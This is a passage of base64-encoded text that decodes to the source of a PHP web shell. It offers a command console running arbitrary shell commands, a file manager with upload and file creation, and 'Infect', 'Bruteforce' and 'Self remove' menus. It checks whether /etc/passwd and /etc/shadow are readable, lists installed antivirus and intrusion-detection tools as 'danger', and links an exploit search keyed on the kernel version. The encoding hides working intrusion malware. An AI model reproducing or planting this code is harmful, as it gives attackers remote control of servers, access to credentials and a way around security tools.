nQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKCQkJcmVxLnNlbmQocGFyYW1zKTsKCQl9IAoJCWVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSB7CgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpOwoJCQlpZiAocmVxKSB7CgkJCQlyZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKCQkJCXJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsKCQkJCXJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwoJCQkJcmVxLnNlbmQocGFyYW1zKTsKCQkJfQoJCX0KCX0KCWZ1bmN0aW9uIHByb2Nlc3NSZXFDaGFuZ2UoKSB7CgkJaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CgkJCQkvL2FsZXJ0KHJlcS5yZXNwb25zZVRleHQpOwoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsKCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7CgkJCQlldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFdKSk7CgkJCX0gCgkJCWVsc2UgYWxlcnQoIlJlcXVlc3QgZXJyb3IhIik7Cgl9Cjwvc2NyaXB0Pgo8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzQ0NDt0b3A6MDtsZWZ0OjA7Ij4KPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnYSddKT8kX1BPU1RbJ2EnXTonJz8+Jz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pPz4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6Jyc/Pic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ3AyJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTonJz8+Jz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnPz4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+CjwvZm9ybT4KPD9waHAKCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJJG1pbGxpbms9J2h0dHBzOi8vZ2l0aHViLmNvbS9IQVJETElOVVgvd2Vic2hlbGwvc2VhcmNoP3V0Zjg9EyZxPSc7CglpZiggc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSApCgkJJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSApOwoJZWxzZQoJCSRtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpICk7CglpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkJJHVpZCA9IEBnZXRteXVpZCgpOwoJCSRnaWQgPSBAZ2V0bXlnaWQoKTsKCQkkZ3JvdXAgPSAiPyI7Cgl9IGVsc2UgewoJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CgkJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0KCSRjd2RfbGlua3MgPSAnJzsKCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7Cgkkbj1jb3VudCgkcGF0aCk7Cglmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CgkJZm9yKCRqPTA7JGo8PSRpOyRqKyspCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKCQkkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7Cgl9CgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCSRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdJbmZlY3QnPT4nSW5mZWN0JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnLCdEb21haW5zJz0+J0RvbWFpbnMnKTsKCQoJaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpCgkkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsKCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOwoJJG1lbnUgPSAnJzsKCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCgkJJG1lbnUgLj0gJzx0aCB3aWR0aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsKCSRkcml2ZXMgPSAiIjsKCWlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewoJCWZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApCgkJaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7Cgl9CgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/Jzxicj5Ecml2ZXM6JzonJykuJzwvc3Bhbj48L3RkPicuCgkJICc8dGQ+PG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgIDxhIGhyZWY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbS9zZWFyY2g/cT0nLnVybGVuY29kZShAcGhwX3VuYW1lKCkpLiciIHRhcmdldD0iX2JsYW5rIj5bR29vZ2xlXTwvYT4gPGEgaHJlZj0iJy4kbWlsbGluay4nIiB0YXJnZXQ9X2JsYW5rPltFeHBsb2l0LUdpdF08L2E+PC9ub2JyPjxicj4nLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8YnI+Jy5AcGhwdmVyc2lvbigpLicgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwQThBOD48Yj5PRkY8L2I+PC9mb250PicpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJykuJzxicj4nLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nIDxzcGFuPkZyZWU6PC9zcGFuPiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj4nLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nLiRkcml2ZXMuJzwvdGQ+Jy4KCQkgJzx0ZCB3aWR0aD0xIGFsaWduPXJpZ2h0Pjxub2JyPjxzZWxlY3Qgb25jaGFuZ2U9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj48b3B0Z3JvdXAgbGFiZWw9IlBhZ2UgY2hhcnNldCI+Jy4kb3B0X2NoYXJzZXRzLic8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nLgoJCSAnPHRhYmxlIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOnRlYWw7Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjxkaXY+JzsKfQoKZnVuY3Rpb24gcHJpbnRGb290ZXIoKSB7CgkkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyI8Zm9udCBjb2xvcj10ZWFsPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiPGZvbnQgY29sb3I9cmVkPlsgTm90IHdyaXRhYmxlIF08L2ZvbnQ+IjsKPz4KPC9kaXY+Cjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlIj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSI8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk7Pz4iPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PD89JGlzX3dyaXRhYmxlPz48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjw/PSRpc193cml0YWJsZT8+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IiI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW4nPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9Jzw/PWh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKT8+Jz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnPz4nPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PD89JGlzX3dyaXRhYmxlPz48L3RkPgoJPC90cj4KCjwvdGFibGU+CjwvZGl2Pgo8L2JvZHk+PC9odG1sPgo8P3BocAp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkgeyByZXR1cm4gZmFsc2U7IH0gfQpmdW5jdGlvbiBleCgkaW4pIHsKCSRvdXQgPSAnJzsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CgkJQGV4ZWMoJGluLCRvdXQpOwoJCSRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwoJfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKCX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewoJCW9iX3N0YXJ0KCk7CgkJQHN5c3RlbSgkaW4pOwoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKCX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwoJfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkkb3V0ID0gIiI7CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKCQlwY2xvc2UoJGYpOwoJfQoJcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gdmlld1NpemUoJHMpIHsKCWlmKCRzID49IDEwNzM3NDE4MjQpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwoJZWxzZWlmKCRzID49IDEwNDg1NzYpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKCWVsc2VpZigkcyA+PSAxMDI0KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CgllbHNlCgkJcmV0dXJuICRzIC4gJyBCJzsKfQoKZnVuY3Rpb24gcGVybXMoJHApIHsKCWlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsKCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOwoJZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsKCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOwoJZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsKCWVsc2UgJGkgPSAndSc7CgkkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoJJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CglyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgCglpZiAoIUBpc19yZWFkYWJsZSgkZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSMwMEE4QTg+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsKCWZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgewoJCSRkaCAgPSBvcGVuZGlyKCRkaXIpOwoJCXdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpIHsKICAgIAkJJGZpbGVzW10gPSAkZmlsZW5hbWU7CgkJfQoJCXJldHVybiAkZmlsZXM7Cgl9Cn0KZnVuY3Rpb24gd2hpY2goJHApIHsKCSRwYXRoID0gZXgoJ3doaWNoICcuJHApOwoJaWYoIWVtcHR5KCRwYXRoKSkKCQlyZXR1cm4gJHBhdGg7CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsKCQkkdiA9IHRyaW0oJHYpOwoJCWlmKCR2KSB7CgkJCWVjaG8gJzxzcGFuPicuJG4uJzogPC9zcGFuPic7CgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdi4nPGJyPic7CgkJCWVsc2UKCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJlPic7CgkJfQoJfQoJCglzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsKCXNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsKCXNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CglzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJPcmFjbGUiOwoJc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwoJZWNobyAnPGJyPic7CgkKCWlmKCAkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsKCQkkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKCQkkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsKCQkkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKCQlzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7CgkJc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsKCQlzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CgkJc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7CgkJCWVjaG8gJzxicj4nOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkKCQkJCWlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CgkJCXNob3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KCQkJc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKCQkJJHRlbXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAKCQkJCWlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CgkJCXNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKCQkJZWNobyAnPGJyLz4nOwoJCQlzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X